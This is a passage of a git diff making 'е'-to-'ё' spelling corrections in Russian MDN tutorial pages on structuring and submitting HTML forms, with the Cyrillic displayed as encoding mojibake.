-<p>ΠŸΠ°Ρ€Π°Π³Ρ€Π°Ρ„Β Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° описываСт ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов.Β Π’Π½Π°Ρ‡Π°Π»Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΈΠ»ΠΈ ΠΎΠ·Π²ΡƒΡ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠ½ Π½Π°ΠΉΠ΄Π΅Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт.Β Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°.Β ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° чтСния с экрана Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡΠΈΡ‚ΡŒ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒ ΠΊΠ°ΠΊ Β«Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒΒ» ΠΈΠ»ΠΈ Β«ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΒ», Π² зависимости ΠΎΡ‚ настроСк ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана β€”Β Π² любом случаС, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Π±Π·Π°Ρ† Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ° Π΄Π°Π»Π΅Π΅ Π² Ρ„ΠΎΡ€ΠΌΠ΅.</p>
+<p>ΠŸΠ°Ρ€Π°Π³Ρ€Π°Ρ„Β Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° описываСт ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов.Β Π’Π½Π°Ρ‡Π°Π»Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΈΠ»ΠΈ ΠΎΠ·Π²ΡƒΡ‡ΠΈΠ²Π°ΡŽΡ‚ ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΎΠ½ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт.Β Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°.Β ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° чтСния с экрана Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡΠΈΡ‚ΡŒ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒ ΠΊΠ°ΠΊ Β«Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΡƒΒ» ΠΈΠ»ΠΈ Β«ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΒ», Π² зависимости ΠΎΡ‚ настроСк ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана β€”Β Π² любом случаС, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Π±Π·Π°Ρ† Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ° Π΄Π°Π»Π΅Π΅ Π² Ρ„ΠΎΡ€ΠΌΠ΅.</p>
<ul>
<li>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π»Π΅ΠΉΠ±Π» Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½ вмСстС с тСкстовым ΠΏΠΎΠ»Π΅ΠΌΒ β€” получится лишь "edit text blank" ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ тСксты-подсказки.Β ΠœΠ½ΠΎΠΆΠ΅ΡΡ‚Π²Π΅Π½Π½Ρ‹Π΅ элСмСнты <code>&lt;label&gt;</code>Β ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ интСрпрСтированы программой чтСния с экрана.</li>
@@ -160,7 +160,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ зависимости ΠΎΡ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для чтСния с экрана Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ для тСстирования использовался VoiceOver (NVDA Π²Π΅Π΄Π΅Ρ‚ сСбя Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ). Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Ρ€Π°Π΄Ρ‹, Ссли Π±Ρ‹ Π²Ρ‹ подСлились своим ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ зависимости ΠΎΡ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для чтСния с экрана Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ для тСстирования использовался VoiceOver (NVDA Π²Π΅Π΄Ρ‘Ρ‚ сСбя Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ). Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹ Ρ€Π°Π΄Ρ‹, Ссли Π±Ρ‹ Π²Ρ‹ подСлились своим ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ.</p>
</div>
<div class="note">
@@ -181,7 +181,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form
<h3 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_построСниС_структуры_Ρ„ΠΎΡ€ΠΌΡ‹">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: построСниС структуры Ρ„ΠΎΡ€ΠΌΡ‹</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ эти ΠΈΠ΄Π΅ΠΈ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΈ построим Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒΒ β€” Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠΏΠ»Π°Ρ‚Ρ‹. Π€ΠΎΡ€ΠΌΠ° Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ β€” Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΎΠ± этом, Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ (<a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ нативныС элСмСнты управлСния формами</a>). А ΠΏΠΎΠΊΠ° Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ описаниС, слСдуя ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅ инструкциям, ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΠΉΡ‚Π΅ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈΒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для структурирования Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ эти ΠΈΠ΄Π΅ΠΈ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΈ построим Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒΒ β€” Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠΏΠ»Π°Ρ‚Ρ‹. Π€ΠΎΡ€ΠΌΠ° Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ² Ρ„ΠΎΡ€ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ β€” Π½Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΎΠ± этом, Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ (<a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ нативныС элСмСнты управлСния формами</a>). А ΠΏΠΎΠΊΠ° Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ описаниС, слСдуя ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅ инструкциям, ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΠΉΡ‚Π΅ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ элСмСнты ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈΒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для структурирования Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ.</p>
<ol>
<li>Для Π½Π°Ρ‡Π°Π»Π° сдСлайтС Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">пустого шаблона</a>Β ΠΈΒ <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">CSS для нашСй ΠΏΠ»Π°Ρ‚Ρ‘ΠΆΠ½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹</a>Β Π² Π½ΠΎΠ²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
diff --git a/files/ru/learn/forms/index.html b/files/ru/learn/forms/index.html
index 3addc9a37b..a00c6f97d3 100644
--- a/files/ru/learn/forms/index.html
+++ b/files/ru/learn/forms/index.html
@@ -28,7 +28,7 @@ original_slug: Learn/HTML/Forms
<dl>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/Π’Π°ΡˆΠ°_пСрвая_HTML_Ρ„ΠΎΡ€ΠΌΠ°">Π’Π°ΡˆΠ° пСрвая HTML-Ρ„ΠΎΡ€ΠΌΠ°</a></dt>
- <dd>ΠŸΠ΅Ρ€Π²Π°Ρ ΡΡ‚Π°Ρ‚ΡŒΡ Π² сСрии Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠΏΡ‹Ρ‚ Π² создании HTML-Ρ„ΠΎΡ€ΠΌ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ простой Ρ„ΠΎΡ€ΠΌΡ‹, Π΅Ρ‘ рСализация ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ элСмСнтов HTML, стилизация ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ CSS ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° сСрвСр.</dd>
+ <dd>ΠŸΠ΅Ρ€Π²Π°Ρ ΡΡ‚Π°Ρ‚ΡŒΡ Π² сСрии Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠΏΡ‹Ρ‚ Π² создании HTML-Ρ„ΠΎΡ€ΠΌ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ простой Ρ„ΠΎΡ€ΠΌΡ‹, Π΅Ρ‘ рСализация ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ элСмСнтов HTML, стилизация ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ CSS ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° сСрвСр.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Как ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ HTML-Ρ„ΠΎΡ€ΠΌΡƒ</a></dt>
<dd>Π˜Π·ΡƒΡ‡ΠΈΠ² основы, рассмотрим Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ элСмСнты, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для структурирования ΠΈ придания смысла Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ частям HTML-Ρ„ΠΎΡ€ΠΌ.</dd>
</dl>
@@ -46,7 +46,7 @@ original_slug: Learn/HTML/Forms
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%BA%D0%B0_%D0%B8_%D0%9F%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85_%D1%84%D0%BE%D1%80%D0%BC%D1%8B">ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΒ </a></dt>
<dd>Данная ΡΡ‚Π°Ρ‚ΡŒΡ рассматриваСт что происходит, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΡƒΒ β€” ΠΊΡƒΠ΄Π° ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ ΠΊΠ°ΠΊΒ ΠΌΡ‹ ΠΈΡ… Ρ‚Π°ΠΌ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ.Β ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности, связанныС с ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΡ‹.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/%D0%92%D0%B0%D0%BB%D0%B8%D0%B4%D0%B0%D1%86%D0%B8%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D1%8B">Валидация Π΄Π°Π½Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ</a></dt>
- <dd>Одной ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ достаточно — Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΈ Π½Π΅ испортят Π½Π°ΡˆΠΈΒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΒ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΒ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Π½Π΅ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ использовании Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. Валидация Ρ„ΠΎΡ€ΠΌ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ Π² достиТСнии этих Ρ†Π΅Π»Π΅ΠΉΒ β€” эта ΡΡ‚Π°Ρ‚ΡŒΡ расскаТСт Π²Π°ΠΌ всё, Ρ‡Ρ‚ΠΎΒ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</dd>
+ <dd>Одной ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ достаточно — Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Ρ„ΠΎΡ€ΠΌΡ‹, Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΈ Π½Π΅ испортят Π½Π°ΡˆΠΈΒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΒ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΒ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Π½Π΅ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ использовании Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. Валидация Ρ„ΠΎΡ€ΠΌ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΌ Π² достиТСнии этих Ρ†Π΅Π»Π΅ΠΉΒ β€” эта ΡΡ‚Π°Ρ‚ΡŒΡ расскаТСт Π²Π°ΠΌ всё, Ρ‡Ρ‚ΠΎΒ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅_руководства">Β ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ руководства</h2>
diff --git a/files/ru/learn/forms/sending_and_retrieving_form_data/index.html b/files/ru/learn/forms/sending_and_retrieving_form_data/index.html
index 60e5fce7c0..96797fe6b6 100644
--- a/files/ru/learn/forms/sending_and_retrieving_form_data/index.html
+++ b/files/ru/learn/forms/sending_and_retrieving_form_data/index.html
@@ -60,12 +60,12 @@ original_slug: Learn/HTML/Forms/ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ°_ΠΈ_ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π΄Π°Π½Π½Ρ
<pre class="brush: html notranslate">&lt;form action="#"&gt;</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» HTTPS (бСзопасный HTTP). Когда Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅ это, Π΄Π°Π½Π½Ρ‹Π΅ ΡˆΠΈΡ„Ρ€ΡƒΡŽΡ‚ΡΡ вмСстС с ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ запроса, Π΄Π°ΠΆΠ΅ Ссли сама Ρ„ΠΎΡ€ΠΌΠ° размСщаСтся Π½Π° нСбСзопасной страницС, доступ ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ осущСствляСтся Ρ‡Π΅Ρ€Π΅Π· HTTP. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Ρ„ΠΎΡ€ΠΌΠ° размСщаСтся Π½Π° Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΉ страницС, Π½ΠΎ Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ нСбСзопасный URL-адрСс HTTP с 